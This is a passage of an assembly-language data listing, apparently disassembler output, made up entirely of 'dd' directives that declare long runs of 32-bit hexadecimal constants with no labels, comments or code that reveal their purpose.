		dd 41A62507h, 3230FA62h, 5BE5E9h, 0FE06531Bh, 0CC437EF5h
		dd 0AEC6E600h, 0F30BD4Ch, 0E961C6Ch, 3D4F408Ch,	24F7683Ah
		dd 3E9C8300h, 0A0FD34E2h, 0BBA9000Dh, 1C5749A3h, 648BEC5h
		dd 8AC80034h, 2630DE80h, 0CDC6006Ch, 0E4E8E07Eh, 357C1E57h
		dd 5009C73h, 0A60DA2F1h, 1127082h, 0AFAB5CDDh, 30EC90B3h
		dd 46986E38h, 0E84A1400h, 2C34B880h, 94A800A2h,	6A08BD71h
		dd 9671DECAh, 637DC901h, 12ED1BECh, 7A00F428h, 7285B13h
		dd 0E9012467h, 7BD2836Dh, 14D88C9Fh, 0A1A03CD4h, 2201BF03h
		dd 0A8023EDh, 8300E273h, 3ABE5333h, 0EBC60CAh, 0F0F2036Bh
		dd 63BD0540h, 26074435h, 9532822h, 9061D520h, 298100E1h
		dd 13E31842h, 0AC00240Eh, 0A248D13Bh, 0A0BC931Ch, 57B07ACh
		dd 0FF0DD482h, 97AC040h, 16F222E3h, 0B8400491h,	17711C1h
		dd 511F06E2h, 80124E34h, 667DE310h, 1A61FDh, 0B7FC62A0h
		dd 9BB60E60h, 58503427h, 41730731h, 0B0930180h,	948CDAA3h
		dd 31BC4D1Dh, 2F6A5700h, 24F53Ch, 193022B5h, 4F55C725h
		dd 8306BF3Dh, 274420A3h, 67FAC80Fh, 7C17005Eh, 0E232BD2Ch
		dd 8D00A81Ah, 0D95F3FB9h, 1D66020h, 845E4339h, 0F8F07B83h
		dd 0AD00B8E3h, 0D853FF4Dh, 7EA56D9h, 6B31C97Ch,	0CB137006h
		dd 7700F527h, 0D02FDF09h, 0F24AFC5h, 0D1EF9B43h, 0E985AEC0h
		dd 3307D5A9h, 0C9F30D8Dh, 56107DF0h, 0F1B0099h,	0CE942838h
		dd 0D40353DFh, 9369FE5Eh, 6BE6B855h, 0E7AF001Ch, 3088A1C6h
		dd 741D7CB9h, 4D80A551h, 2B3B0C53h, 12AC928Ah, 0F2CC6BCh
		dd 821C74A5h, 0F5CDF1E9h, 3EF91843h, 0A12BF441h, 24001B77h
		dd 0BF53AFC6h, 0ECFAEF0h, 0F2896EDh, 0F5B73A80h, 94505B1Ah
		dd 30099D8h, 3846C41Ch,	360848h, 1EDE5EF6h, 686B5D47h
		dd 30EFF47Bh, 720E7624h, 52B04Bh, 0DF9D916Ch, 0A55008Bh
		dd 0F29BAA39h, 0FB00C620h, 3876727Eh, 171D3F4h,	0B527556Dh
		dd 0D0131B0Dh, 3C008B51h, 0F966BCECh, 778CA114h, 7BD8B745h
		dd 1E60A4EEh, 48F5CBF0h, 0AA0005Eh, 0BD8341A9h,	0B4003E3Ah
		dd 4E701F54h, 7561A6h, 1794ACF2h, 967260DEh, 0B60055EEh
		dd 4DD4F1AAh, 1C865Dh, 0C1564B71h, 0E2492210h, 0FB09B7E0h
		dd 0AEA7DFh, 9FBFE900h,	0D6C100B9h, 30EEAA4Eh, 80B4A2Bh
		dd 0DDB2BAAEh, 9F77D301h, 0FC0AEDF6h, 933B9249h, 7D241FE4h
		dd 32ABB180h, 3A43DE12h, 9A002C80h, 0C3E9D617h,	0A5008B44h
		dd 0F31E1022h, 326008h,	11473304h, 3B259D64h, 0AA2048h
		dd 8CA0FA3Fh, 16D3168Bh, 0D0CCDBh, 1ABC13C6h, 0BF487C55h
		dd 4F0100CAh, 0C3A62AD2h, 38C10354h, 702D52BDh,	0AE8AA4E8h
		dd 0CFD8B063h, 5C02D07Dh, 8EAC00ECh, 0EE263721h, 910558F7h
		dd 0F8D2F623h, 5C405080h, 865600DFh, 28B8BEBBh,	9600F1D3h
		dd 0EF3A7F60h, 12F5A284h, 6E5C51h, 43896C6Ch, 6100D9CDh
		dd 9B56D2B6h, 38EADA8h,	0A9BFE374h, 0C0D0031Ch,	3A2ADF59h
		dd 1416B4B2h, 4C4485A3h, 0A520D8AAh, 0F003459h,	7F94FEF0h
		dd 0F67471A6h, 0A9D002C1h, 7C6FDB67h, 0CEF2D60h, 87F1D916h
		dd 7201305Eh, 0A3EDD86h, 704530h, 0BCD81B31h, 94556AFBh
		dd 0DC86FA00h, 727166A1h, 3B64001Fh, 0D66B650Fh, 0BE717C0Bh
		dd 12830700h, 0AEF4FCEFh, 2E0C004Fh, 3E23058Eh,	0BF00725Ch
		dd 37AA1F3Ah, 7B656Dh, 0B85E581Eh, 8FC30EEFh, 15F5BD00h
		dd 0B5FB379Fh, 0F41E01E2h, 4B9D4873h, 44070EAh,	0CB89AD08h
		dd 0DC260091h, 0A74E41E1h, 0EC14B914h, 8E7500A7h, 2E5C817Ah
		dd 0CB09Bh, 3716C28Fh, 1DF0FA40h, 0D2FCC70Bh, 5848A083h
		dd 0E8742314h, 4A7F98h,	0CED62412h, 0E19CB47Ah,	68635D00h
		dd 560ADCC5h, 0B1C628D1h, 0E5D300C4h, 6DF70576h, 0B400DB4Ah
		dd 0D64C2D35h, 2DF4583h, 302CE25Dh, 39C0895Ah, 883CBC34h
		dd 778F1FB2h, 3DF6E841h, 530BBA3h, 0C33B008Ch, 82C6180Dh
		dd 8400B2CAh, 0E3FA5F06h, 8CC5AAh, 6C670B08h, 5869CE05h
		dd 461D3400h, 0B3C08694h, 0E265046Fh, 80C47733h, 0FD844F24h
		dd 9D72BF00h, 0D6D980E0h, 3B3C01CAh, 82A4AEDBh,	0FE4DF8BBh
		dd 1E246758h, 3381E9CEh, 62D0A7AAh, 93F424h, 6720A1A6h
		dd 0E94D1DFAh, 3DE2700h, 0B4AC2F0Ah, 891E0055h,	116123F4h
		dd 60041D4h, 9BB7AB86h,	30CD7B15h, 1DE2AA4Bh, 8F03D9ACh
		dd 63A7D257h, 0B093CCC9h, 0C0A0EC5Fh, 0C2154CE0h, 9E026A00h
		dd 92D58822h, 8004779h,	2CD020DCh, 0D4E80Fh, 988A6E0Bh
		dd 0B6285545h, 52ACE00h, 0E1D86FAEh, 8429486Dh,	0B7C45C04h
		dd 18B08CCFh, 0B076A100h, 3A528D60h, 400C07E4h,	609C486Ah
		dd 0CFE104FEh, 8E334A00h, 63B092B5h, 0F9D409D1h, 0B800235Dh
		dd 732C415Bh, 31F9900h,	69812DC4h, 1DE20074h, 7E068C10h
		dd 6A0076E7h, 0EFDBB6D0h, 1EA263Ch, 46B1446Fh, 808DC78Ah
		dd 0DD9DCCB8h, 91E44Ch,	0F1562F8Bh, 0C7CEDCE7h,	328CD700h
		dd 0ADB0AF6Ch, 3240011h, 1497D207h, 6E741E34h, 5CCCCA3Fh
		dd 6F8B0038h, 98A73B80h, 2CDE790Dh, 72AFF3h, 6D9AC73Eh
		dd 0A54DD1CEh, 82680020h, 7AC269C0h, 14700073h,	0AC6398DDh
		dd 0C7003C08h, 808D307Fh, 0B862945h, 0B573FC9Ch, 0ADF02820h
		dd 5400553Dh, 56EEF32Fh, 33AB02Bh, 808A9C75h, 0F01EF1FCh
		dd 1640ADBFh, 62B2D406h, 2FE8002Eh, 0A5D5CF63h,	27180DC5h
		dd 45E8D2B8h, 5B6500A6h, 0B6B73446h, 3374E6CCh,	0B9C94F00h
		dd 2F872167h, 9A5B0035h, 31EE6150h, 2D7AE006h, 0C24BEC06h
		dd 7AA3607h, 2071BC83h,	0B018E015h, 44002410h, 9D3D93CAh
		dd 1C03263Fh, 84862362h, 80ECB4FFh, 315B1B37h, 5201D494h
		dd 4EBB680Dh, 0BEC2D4h
		dd 0AE1B6536h, 0EF0EACABh, 0C3808D5Ah, 0EF59DE2h, 100DE3F6h
		dd 0C18CDB41h, 0FC88C5D4h, 1D006BCEh, 31F44C0Fh, 0E0719C8Eh
		dd 0C51C0FCFh, 244114BBh, 41BA1B1Fh, 0F0AC8080h, 0C20902CAh
		dd 0B6724Dh, 0AABCDF9Fh, 710A001Ah, 236DDAFAh, 0CB0C07FBh
		dd 0B0890225h, 7CEB5C5Eh, 7E8C7F80h, 311F2A80h,	69C0799Fh
		dd 38237019h, 78F20947h, 14008974h, 0C3F34AB7h,	6D0F4C7Bh
		dd 0A4935ECAh, 4C03F29h, 0B86BF83Dh, 0D0734Ch, 9B7BADEEh
		dd 0CAB6BAC3h, 26C4E200h, 0EAF7B3D2h, 0D6D4009Ah, 61955DD3h
		dd 7648D76Bh, 10850048h, 226DA7A3h, 0F4B7EA13h,	0A50600BFh
		dd 388E4740h, 697A2F17h, 3C045D7Fh, 0EA145AF5h,	29325FC0h
		dd 0FFD60307h, 136FF64Ch, 0C8DC2800h, 3F805EFh,	0A53B07D0h
		dd 0E07E43E5h, 0BAAC6A75h, 8420E407h, 0C8902523h, 115AFB2h
		dd 7B879AD6h, 0F55EEC8Dh, 0B78020B3h, 0DB88F400h, 466A059Ch
		dd 0AE7FF9h, 2953A9A6h,	0D2EE3F7Bh, 9BD8E41Eh, 0BB00D45Eh
		dd 0DE23B733h, 497D0158h, 5DF2F6FEh, 0D2CDF41Bh, 0E8B01172h
		dd 1AE08409h, 3F5444D4h, 1459AB48h, 3B709B00h, 1073CD04h
		dd 0EFCF6200h, 26443635h, 281800F2h, 6442DE08h,	712FCC80h
		dd 135FFCAFh, 0DC0000DBh, 0E1AEB488h, 0A0E29905h, 8A015C9h
		dd 40814EA6h, 0BF777894h, 0ECB20255h, 3513C097h, 0F6B0C2h
		dd 83D85141h, 0C9C846Ah, 26815200h, 7EA464F9h, 0D62C0496h
		dd 0C0723130h, 33CDED68h, 20AFE951h, 18008F28h,	0FF394E6Eh
		dd 65AD4BE5h, 80BF2873h, 5767B6F4h, 0ED1E98F6h,	3F40CFD6h
		dd 0D38CD869h, 229F002Fh, 49AD6232h, 9307A694h,	6EDDD63Ah
		dd 67A07DA0h, 7882003Ch, 774CF737h, 0C3FEB47Fh,	0CAF8C500h
		dd 18310A84h, 92E43Ch, 0E12B101h, 6A73F6C7h, 0FF20E100h
		dd 0AB61F7F9h, 717B0B81h, 0C508BA89h, 9CAF0090h, 0C366345h
		dd 516EB207h, 0E1D212D5h, 16ECE97Bh, 0A300A8BFh, 0C3383C3Bh
		dd 1B019F9Bh, 76C52146h, 3E305F66h, 0D5830523h,	1DB3DAAh
		dd 0A7688CF8h, 56CA10CEh, 0B3351EB9h, 0D072805Eh, 0F2D3551Ch
		dd 0C36CFE00h, 994DEBCh, 6521DBAh, 0E9F08937h, 0C4005C6Ch
		dd 0ECA48B9Fh, 0E2FA3296h, 2C290109h, 55BD0183h, 896C602Eh
		dd 0F60BF100h, 0D682E6D4h, 6DEE00E5h, 489808CFh, 89E879DEh
		dd 9627B700h, 0F6A88690h, 24731Ch, 0E1EEFCD3h, 69976081h
		dd 96F33F00h, 706FA74Fh, 0ABBD0063h, 0B181C3BEh, 0F70F6405h
		dd 6156E30Ah, 22C69079h, 97E5BEC8h, 0B8A9FD40h,	2AC40600h
		dd 0BA21E69Eh, 0C08C3338h, 46F8F720h, 5F004D8Fh, 976CF075h
		dd 35EF51Ch, 4BC88ACh, 0E0DCFCB0h, 20C04E8Ch, 8EB9EB1Ah
		dd 40E8968Fh, 628583BAh, 23001074h, 228017E8h, 467B9Bh
		dd 0EE149A1Dh, 7262DD96h, 6401C1E8h, 770F9771h,	7864BE8Ch
		dd 335178ACh, 1C1198DEh, 0D26BA1E0h, 183DCE12h,	0C59EA440h
		dd 0E281091h, 0C0165992h, 0FB80FE9Ch, 27E63DA0h, 230F4833h
		dd 0A7B60122h, 0C0C07B57h, 0A25EC5h, 66AEF73Eh,	3F60F87Dh
		dd 2BC20500h, 41521A0Dh, 0E9FE0077h, 9AB32F2Ch,	130251AFh
		dd 79EA81CDh, 0C0D8E5h,	0FE636168h, 0A6882CC8h,	4D22B500h
		dd 8BEF9F1Ah, 0FC98C014h, 0FA34FD16h, 38EA1331h, 0C2D5E7Eh
		dd 0B3372E00h, 42C3C899h, 0E7D6F100h, 0BE05B9FEh, 9E2700C6h
		dd 0AF0290F7h, 0B51D5288h, 9A017576h, 3EA01B95h, 2FFCD0h
		dd 430EAFD3h, 0A73148EFh, 9EDD8000h, 0DEE6D234h, 6FF90E99h
		dd 0B4C776F0h, 1E9D808Eh, 2807076Ch, 62BF9371h,	66C04B25h
		dd 2D4582h, 246469DDh, 660B4DF5h, 80ACBA38h, 0B0E783BFh
		dd 16DC0BDh, 981CF0DDh,	0E8D3460Bh, 6F07CDB4h, 0C3BF9982h
		dd 0A4ECAB41h, 5D427E4h, 96111EA6h, 84DC0024h, 0FEACE88Fh
		dd 8B36743Eh, 0C026CA72h, 0D4379Ch, 0C0B5D93h, 0E3AF102Fh
		dd 70679900h, 0C897A8A3h, 0FCB2FEh, 71CDFA8Bh, 0AC837485h
		dd 95E6651Dh, 897F6F80h, 187DC1E3h, 302E1B5Fh, 39C0F94Bh
		dd 66C871E8h, 0A2A71C60h, 6D830063h, 4DDE8250h,	4C2FDD00h
		dd 7E62EAD1h, 0F12B012Ah, 0BA26DA79h, 85E05012h, 0FE00B275h
		dd 0CAC641E7h, 7E0FDA5h, 766E7D9Ah, 392A409Bh, 25F2139Ch
		dd 0A338B401h, 0E4F63B34h, 1351C24h, 0A403C024h, 0C0B6672Bh
		dd 44C127ACh, 16DB096Bh, 92E164DCh, 1CF658B4h, 74983880h
		dd 33078B79h, 5A404353h, 0B8978801h, 25B51E80h,	7A8DCC5Ch
		dd 35A42D00h, 10AD3985h, 102E6744h, 5704CAE3h, 72C08E83h
		dd 0DEBBE04Bh, 0E007004Eh, 29C24F5Ch, 75072D61h, 941B5BDAh
		dd 6A1F30C0h, 0A2163638h, 29C7FC29h, 8885556h, 449E25B4h
		dd 288750A2h, 2951624Ah, 0AE222608h, 0C163224Fh, 0B580D905h
		dd 73D9EE7h, 0D142AAB2h, 1E17B183h, 0F4D7DC0Bh,	0C74BCD00h
		dd 0C0F6EF63h, 7CFE41Ch, 174ED997h, 0BE18C055h,	6D00B465h
		dd 0CD8B7D6Fh, 15DC453h, 0EB346228h, 0DCF1FA67h, 0FDF856FFh
		dd 0C856000h, 68CE5843h, 823D007Dh, 0CFE21A7Ch,	0CC005F22h
		dd 0C1C536BCh, 4A864Fh,	0FCA0B81h, 0DC2C0E62h, 1D1F9607h
		dd 9D0E1149h, 982B83FFh, 1FF9C3FEh, 0C06D1710h,	12F245A7h
		dd 1C544BB5h, 790065C4h, 3ED39FF6h, 38B1CEF9h, 588622EBh
		dd 10CCE773h, 4BC71E02h, 3CFB2A8h, 1688EA2Ch, 0EF01351Ah
		dd 68BDDB6Eh, 0EC413B07h, 40203CF1h, 0F87F22h, 32D68CF2h
		dd 2687EC8Fh, 0E800E8B8h, 0E1626340h, 0ACC884h,	0A7429904h
		dd 2E0FAABFh, 5A8DC201h, 0BB92494Ah, 754FCCh, 0E2854C9Ch
		dd 0A20B51Ah, 56A9C024h, 0A032E900h, 724E31BEh,	7349CE1Eh
		dd 5003D080h, 59003D20h, 6A4BC1C4h, 0F547E8h, 52355D48h
		dd 22F224F3h, 0D9A922Eh, 6CC8BD00h, 509629h, 0FEAE15EAh
		dd 0DD84058Ah, 0B9E82D00h, 908FBDE1h, 0C23C0055h, 66A67E5Bh
		dd 0A1FA941Dh, 490047FEh, 1B57D9B0h, 0B361D1h, 0B82208A8h
		dd 7FD5DBC2h, 0FD8DC30Fh, 0A374A0B6h, 111942h, 45CE6E88h
		dd 0BA831EA7h, 0B84DDF24h, 0FB8DEE00h, 1EFC6408h, 8120CCADh
		dd 70F85D9Dh, 0AE3EE4CFh, 0CD0A300h, 6689AC23h,	0C29D0365h
		dd 1E02B377h, 5B3781C8h, 470F3B00h, 4F32CD19h, 35B833h
		dd 0A93CE61Dh, 7A7C9A7Eh, 8CE2C200h, 1699120Fh,	0C040F3D4h
		dd 438E37h, 0F4F6F230h,	64105218h, 0F7A9AD00h, 7D2CCBD0h
		dd 16FCF9B7h, 10FD604Fh, 0CFBA569Bh, 8909E6B8h,	2E40648Ch
		dd 0EE0BA0F8h, 3CACB16h, 9E98DB12h, 7BD9F9B2h, 0FF24E8B4h
		dd 72009C71h, 4BA2704Dh, 0BA1BF4Ah, 0DB0F5775h,	54C7AA0Eh
		dd 29E3E055h, 0EC3F184Bh, 0B11000C7h, 99C2A61h,	0AEDB006Ch
		dd 0D0AB408h, 8B016842h, 3979DF6Eh, 8820761Bh, 18F8008Eh
		dd 0F669C70h, 90636B6h,	0A89EF985h, 0D5DE0030h,	0C7C62C1Fh
		dd 43007C49h, 9428C90Bh, 0F6F2F6ACh, 4F7D65h, 0A812E3CAh
		dd 0D14D61D9h, 3A78B3Ah, 0F7FF2AE1h, 0D7A0807Fh, 0E4A63E17h
		dd 0D23EB848h, 4D46BA8h, 88B319F4h, 678E402Ah, 321A012h
		dd 2D30605Eh, 6C93BAB7h, 0FFE3A480h, 0EDF67800h, 9859DA1h
		dd 0B5BC00F2h, 0A6EF103Dh, 0A071182h, 0ED9E0CB8h, 0D021AD43h
		dd 0EE8954Ah, 76806C06h, 469A0440h, 7507FFD8h, 0D6423F10h
		dd 29A23A00h, 72C901DBh, 21A7D07h, 324FFCE4h, 0EEAF340Fh
		dd 33490E0Ch, 0E1B03907h, 1280F7E0h, 30F00092h,	1CD96084h
		dd 0EE1FD896h, 0E7C0B15Ch, 168DE028h, 8721000Bh, 0F302DCA0h
		dd 0AA00B9CAh, 259D7DF8h
		dd 0BFC215h, 240FC955h,	0EB802A08h, 1C29A43Fh, 0CC726B6h
		dd 0F3F01810h, 7176AE4h, 0D4ECF9Ah, 1422A09Fh, 8A00CB36h
		dd 4F92E4Ch, 4150C2h, 0F1A99DCEh, 87B3B066h, 62E8D10Dh
		dd 6A603060h, 0F05607ABh, 941B4C19h, 0DCF4C055h, 0EC0FFCF9h
		dd 0A064CA92h, 9752BF31h, 583F0082h, 0D603FB9Eh, 32009A85h
		dd 0C48BB8Ch, 0EE3C12C1h, 4F830015h, 3E61E8EBh,	0B900AD47h
		dd 4863147Ch, 6027C3h, 6966BFE3h, 160B17AEh, 0A9C1FA00h
		dd 26444F28h, 68180061h, 0A30CB6F0h, 0C600EDF2h, 0BFFA2499h
		dd 0FA9A071Bh, 0E35F0FECh, 0B8873FA9h, 4590B02Fh, 3B7A7131h
		dd 0FBDCDF01h, 0ED8702A7h, 72DEC8h, 0A85BEF42h,	4BB7E18Fh
		dd 765F251Ch, 0C1D36800h, 28090C47h, 0DC7F56h, 6C2FFA28h
		dd 4D9FE689h, 3F69A00h,	0C8465DB3h, 2AF200F0h, 1E9C02F3h
		dd 0D3008DE2h, 0F84489DCh, 637DC5h, 34F1D9A6h, 5B860550h
		dd 62F43200h, 0E032DBBh, 8CFC4Dh, 0A206A7B5h, 57F9BC76h
		dd 3C00CBF4h, 0D2F87C2Dh, 0B04CFCh, 71F2AC24h, 289C4D1Ch
		dd 6DD5B903h, 4BA5A4h, 29419E10h, 601FBC02h, 0EC000677h
		dd 6ECB137Fh, 45230A5h,	0DD97A785h, 0BFD3C062h,	0E300419Bh
		dd 7C8095C6h, 0E3A4CCF1h, 3FCC5F1h, 1BED1C70h, 2A308062h
		dd 0AE09C1A2h, 0CE7DE8FDh, 23C64F00h, 0D12C75C3h, 130EA1Fh
		dd 9A0CE1F4h, 3B811633h, 0B1C66900h, 38263F0h, 8474F3Eh
		dd 5DB8296Bh, 73007CB4h, 229DDB2Dh, 0D61572h, 6B1DA1FFh
		dd 6C26EB16h, 0EFBE1E00h, 0BDE742B1h, 0D9040015h, 4437760Bh
		dd 9574516Dh, 6A927007h, 0E510BBDAh, 2C248014h,	52D383h
		dd 0F4A407E0h, 0B6784759h, 0C406AAE0h, 9C78EF01h, 567D2E98h
		dd 6F4E001Dh, 0B0A477C7h, 105BD00Eh, 0D4C446F3h, 0C3E74429h
		dd 8FDA2538h, 0E0AAC66Ah, 5E3F03C8h, 0CA72008Dh, 0F8299A9Bh
		dd 0FE008F77h, 0CE1DDF97h, 3044070h, 0BBFCBA93h, 22E0D460h
		dd 0F958E14Ch, 0B226007Eh, 0D378A95Ah, 50580314h, 4A1D4BB0h
		dd 36EAA4F8h, 91B2200Eh, 5CACA0DAh, 1C5E3C64h, 0C496A9CCh
		dd 0C033D558h, 1016C3CCh, 812A760Ah, 0E19EBCEBh, 0E2587E03h
		dd 801FC0B7h, 14153977h, 8A5F1900h, 0DBF33844h,	208A100h
		dd 0B97CF548h, 30E0670Eh, 0B6F23057h, 0D0008111h, 99CE6C19h
		dd 631884h, 0E9D80D65h,	7168FE2Ah, 0EFD70B00h, 9872E0B2h
		dd 75B10015h, 2976CF5Bh, 8A005849h, 20871E48h, 21343EEh
		dd 2E2DDAC7h, 80FF7072h, 0F1D7AB70h, 493B023Fh,	5C6DBE5Eh
		dd 80AFD041h, 5D7BF329h, 9C2C47h, 0B422D4C2h, 490F538Fh
		dd 0E85E2500h, 0A0E93799h, 504BEE4Ah, 1DB780CFh, 6A595Bh
		dd 0ECB9A6C0h, 18B87640h, 0B641F400h, 0DBC50B58h, 626F0F25h
		dd 0DE4034E6h, 0A1218D9h, 1589BB00h, 0F7EAA58Fh, 74DA0077h
		dd 0A6AE4B35h, 0D9FE3EF4h, 0DD2CEF00h, 0DBFFF2Fh, 9A4301AFh
		dd 4EBAA08Fh, 0DF7EDC81h, 858CA200h, 37EA890Bh,	0C8D075Dh
		dd 509D0690h, 0FDC487C3h, 8400CB78h, 0D75136DBh, 8CEE40h
		dd 8196B7Fh, 498568CAh,	0BB79E100h, 64435AC3h, 899B00CBh
		dd 3132621h, 9AB0B227h,	10230407h, 0E940C8DBh, 0CF6A91h
		dd 5EA4739Ch, 572ACA2Eh, 44C47114h, 0AF1300B4h,	0BB4683E9h
		dd 725B1491h, 0E6009CECh, 38A90964h, 0A492FFF9h, 318E0A00h
		dd 0A096E406h, 70D6E2CCh, 3CE5047Dh, 81298F02h,	5138D207h
		dd 4243D3B0h, 544072D9h, 0D700A736h, 4EF76774h,	79ACFh
		dd 0C6C89DC7h, 1B4BF88h, 0B626D700h, 8F940487h,	11732489h
		dd 75E00778h, 90D5B47Ch, 469EFD44h, 84020D76h, 7253A750h
		dd 806841CEh, 303D63F4h, 410D37Fh, 2B90D1A5h, 747CD200h
		dd 0CA5EC53Eh, 9D8401FEh, 0A76D622Ah, 0F8DDD8F9h, 163B2605h
		dd 858156F6h, 9883BF89h, 0D5AFFA77h, 63B15000h,	2EE8A6F1h
		dd 5B79002Bh, 26202C62h, 8E0682C2h, 4F323095h, 23250038h
		dd 945874BCh, 6801E44Eh, 7D417B44h, 0D8AC1B1Fh,	0AF7A0011h
		dd 69B0F1A4h, 62878C00h, 0DD157174h, 27490089h,	0B1CFFD2Eh
		dd 7F0B1D35h, 42224h, 0C10FD734h, 4E831EDEh, 0E3E0C045h
		dd 0E95F528Eh, 3C8A3Bh,	4DDF9EC4h, 39B49F60h, 6E80B767h
		dd 93187658h, 6002E8Dh,	378E1CE7h, 7412F57Bh, 42F694h
		dd 971B5D4Dh, 514ADEB2h, 0EE2FF900h, 0BF7ACF19h, 16FE0053h
		dd 0BC71CD36h, 5D038DB7h, 0CCFC39CEh, 0D030173Eh, 8BF5002Ah
		dd 0C924F629h, 45C74526h, 0BE6E3001h, 0AA209B21h, 1B180008h
		dd 0F1E6538Dh, 9D76F761h, 5A56C006h, 1D21F2D3h,	40827C0Dh
		dd 0EA3B0BB5h, 60605132h, 87B8CB50h, 3DE100ACh,	759DCCC6h
		dd 9F077925h, 8EC84AD7h, 1480C064h, 1EA52B2Ch, 0F869111h
		dd 0A42041C9h, 0E766B072h, 0B4F2B430h, 722236F1h, 0E9EA007Bh
		dd 0DC6D5A6Ah, 3400801Ah, 12A0974h, 8C1E44h, 8A84831Bh
		dd 0D2DF5890h, 0AF264D01h, 0F48556ACh, 1207D1D0h, 0BACAB051h
		dd 0B7F78E00h, 2524Fh, 0FD485033h, 0E6AC9ED9h, 0EB9D29C0h
		dd 7DC8641h, 2916AB05h,	1ADF500Bh, 2303B399h, 114B85A0h
		dd 587DA0F9h, 0BD140060h, 668333E2h, 0FD006A96h, 0F854E628h
		dd 0E824Ch, 7BC907EAh, 0B67DBFB9h, 33EAC1Fh, 0E0012D8Eh
		dd 9DF5098h, 301A0EA4h,	92E1E1E9h, 2B1C9E10h, 0EFAB7500h
		dd 0A8E523h, 0B5D495C8h, 0FC3ADF02h, 802D303Dh,	0AFC2C389h
		dd 5E19FBh, 79F38B5Fh, 5568C543h, 9DEAEC01h, 9675824Ah
		dd 2A35DDCCh, 0D8BAC6h,	0F285FA07h, 2A72022Bh, 0A6A80300h
		dd 31B07DA7h, 74060F48h, 0C74045DBh, 4C17943Bh,	8518771Ch
		dd 38A18600h, 0C067ECD1h, 4893760Ch, 629D37C6h,	814080F2h
		dd 3017CBF9h, 1D10B835h, 56013E77h, 24E1B469h, 482448EEh
		dd 0B96C0C1Ah, 0C288D10h, 0A913E1FAh, 0FE01A0BFh, 668F914h
		dd 0D8F2E480h, 78F6A2Fh, 0A100EDF0h, 41CE1346h,	1F3EEAC2h
		dd 0B937D4E6h, 60D0A27Bh, 192D7071h, 0D01F6B97h, 12F6CC93h
		dd 0FB0F0705h, 0B200F4C8h, 6FF090Ah, 0AAE22CA0h, 29220099h
		dd 39DC0197h, 8D004CEEh, 36940D28h, 901652F4h, 4850C59Ch
		dd 72B70053h, 0CA9CAD8Ch, 6D1B3F00h, 0F8FAB78Eh, 0D90F0058h
		dd 7996F057h, 34068552h, 1DD60865h, 41F1F40h, 9B6C413Ah
		dd 0E85D026Ah, 0C2FA1A61h, 4A025490h, 99895347h, 49A80ADh
		dd 0F6672AFBh, 0C3312410h, 0DA7F003Ch, 0F89507F1h, 39B6000h
		dd 2B049F88h, 630C04BCh, 8168C328h, 0D86AE74Ch,	1F3E5EBEh
		dd 2F53806Dh, 0BCAD43E2h, 3BE6A077h, 69CA062h, 0FB130042h
		dd 0ABCA8358h, 357DE91Dh, 6E256100h, 5B1C451Bh,	7D84F413h
		dd 0CE911C88h, 39E100F5h, 92C3952Ah, 10CB9C04h,	0BAC33B1Bh
		dd 5EC0D0B9h, 7A4A1EB6h, 878D5DB3h, 2F1E9561h, 4B81310Eh
		dd 40A320D6h, 12B83CCDh, 81985D0Eh, 71CCE059h, 67EAC7h
		dd 4B700A7Ch, 6038C8E0h, 52E92800h, 0B6038331h,	74D307D7h
		dd 2CFC08Ch, 0B4807FFDh, 0F70A70FAh, 9C265804h,	6680979Bh
		dd 0B0B1401Bh, 1D2C300Dh, 0AC70AF10h, 17F01A00h, 583055EBh
		dd 51920032h, 6DB88A10h, 4300A459h, 899E2537h, 9D76C9Dh
		dd 7ED0A68h, 0A7526001h, 9804FC8Fh, 48902875h, 0A263F704h
		dd 5C803A7Fh, 0DAE90Ah,	0E2A6EDFDh, 2AC12D3Eh, 0A8FC4Dh
		dd 9327193Bh, 0B28F36h,	121C51CCh, 8C5514F8h, 7F3C58F6h
		dd 284876h, 0A7CF6471h,	4CD0686Fh, 490408DEh, 0C0748C82h
		dd 0FF485DBCh, 0AF250400h
		dd 0DE0FD8F6h, 0EB1C001Fh, 83321EA3h, 0F200874Bh, 40D21AC2h
		dd 0CDE315h, 0FB74E1CFh, 0DFA7E72Dh, 603B3400h,	52C18303h
		dd 9280F742h, 0E4B654B7h, 0C40057AEh, 5B5DFA27h, 0A038E146h
		dd 398DE84h, 1FAC03D2h,	80B82D91h, 4E008F74h, 874D2A37h
		dd 776F2079h, 18F20BB9h, 770F045Ch, 0CDC4A480h,	9C0066DCh
		dd 0AC347652h, 0D24596h, 0BB89C62Ah, 0D1F9F5DAh, 6AB9D8C7h
		dd 0E723DF10h, 0DB32A29h, 0A8D0FFA4h, 379F0062h, 0CDA5A60Ch
		dd 750EF647h, 0CBF381h,	0B01D2045h, 76590072h, 284A6B99h
		dd 0B700A304h, 0F6927FD4h, 0E041C711h, 172722Fh, 21FB099Dh
		dd 3671EC8Dh, 0B2DE072Ch, 0F00EAFCh, 0E36E2FFh,	100B5963h
		dd 3C156DA2h, 5C00446Eh, 0F5D48195h, 66FDA5h, 2732DE49h
		dd 9108DCEFh, 0CED7A909h, 0F8790720h, 6F9F6AE0h, 7CBF0112h
		dd 0A884F6C6h, 4CA820C0h, 0D514A900h, 53BEE06h,	83CB1D8Fh
		dd 1C1EFDDAh, 0F5BA80C4h, 0A8F7A5EFh, 8B3C3Fh, 2BC17609h
		dd 0ACDFBDh, 508D9FAAh,	2EA47ECEh, 0CEE2500h, 0FDD47B42h
		dd 0A779E0h, 9D62C1CCh,	7F3AED08h, 95306800h, 84019B27h
		dd 97110152h, 92077C70h, 3FA4F422h, 9B483901h, 3C5F2DF6h
		dd 0F1C0B8F3h, 0FD770088h, 0DFB44082h, 6100D415h, 5BED7EA5h
		dd 0EA8D4FB5h, 0CB09Ah,	2F17AE60h, 862DD635h, 9145A00h
		dd 0E128E351h, 0A9540079h, 0A6114233h, 0D27C0566h, 0AC2AA00h
		dd 5782ED68h, 412A00A2h, 265FEE8Eh, 9C702D43h, 0D62C0A00h
		dd 0ABFB30CBh, 7FA030DAh, 0E5963C71h, 62D7E001h, 167341E3h
		dd 282070E1h, 746178E1h, 428F1F2Ch, 186318BFh, 81FF17D9h
		dd 14721841h, 881FB3Ch,	4A77B508h, 0F002E961h, 30CBFFDh
		dd 30855540h, 625F18EBh, 0DA0258DBh, 3C910D03h,	0E7EF9960h
		dd 9A30E086h, 0E5F50764h, 0A2F79D47h, 0C80D9E3h, 18611FFDh
		dd 3C05D200h, 1AA0459Bh, 0FA3E07BFh, 208878DDh,	96EF6F7Dh
		dd 97173Bh, 0C0639EA5h,	0B058D96Eh, 74B40705h, 30550729h
		dd 0B026D1BFh, 0CB10DE00h, 17834C5Bh, 53AB0FCDh, 8A8058DCh
